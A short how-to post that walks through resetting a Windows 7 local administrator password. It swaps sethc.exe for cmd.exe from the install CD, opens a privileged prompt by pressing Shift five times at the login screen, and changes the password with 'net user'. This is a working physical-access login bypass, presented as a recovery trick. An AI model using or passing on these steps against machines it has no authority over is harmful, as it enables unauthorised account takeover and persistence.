Windows 7 Local Admin Password Reset (unexpected)

Here is how to do that, pretty unexpected procedure which is a result of an OS developer weakness and somebody's creativity:

  • boot your Win 7 machine with installation CD
  • click repair link or Shift+F10 (you can close the installation window, we don't want to install anything)
  • create a backup copy of sethc.exe
    • copy c:\windows\system32\sethc.exe c:\ (it can be different that c partition)
  • overrite sethc.exe with cmd.exe
    • copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe (this is the best part)
  • reboot your machine and when you get the login screen click the shift ket 5 times, it will open instead of your sticky keys the cmd in admin mode
  • the rest is easy:
    • net user (list all f them)
    • net user USERNAME PASSWORD
  • voila!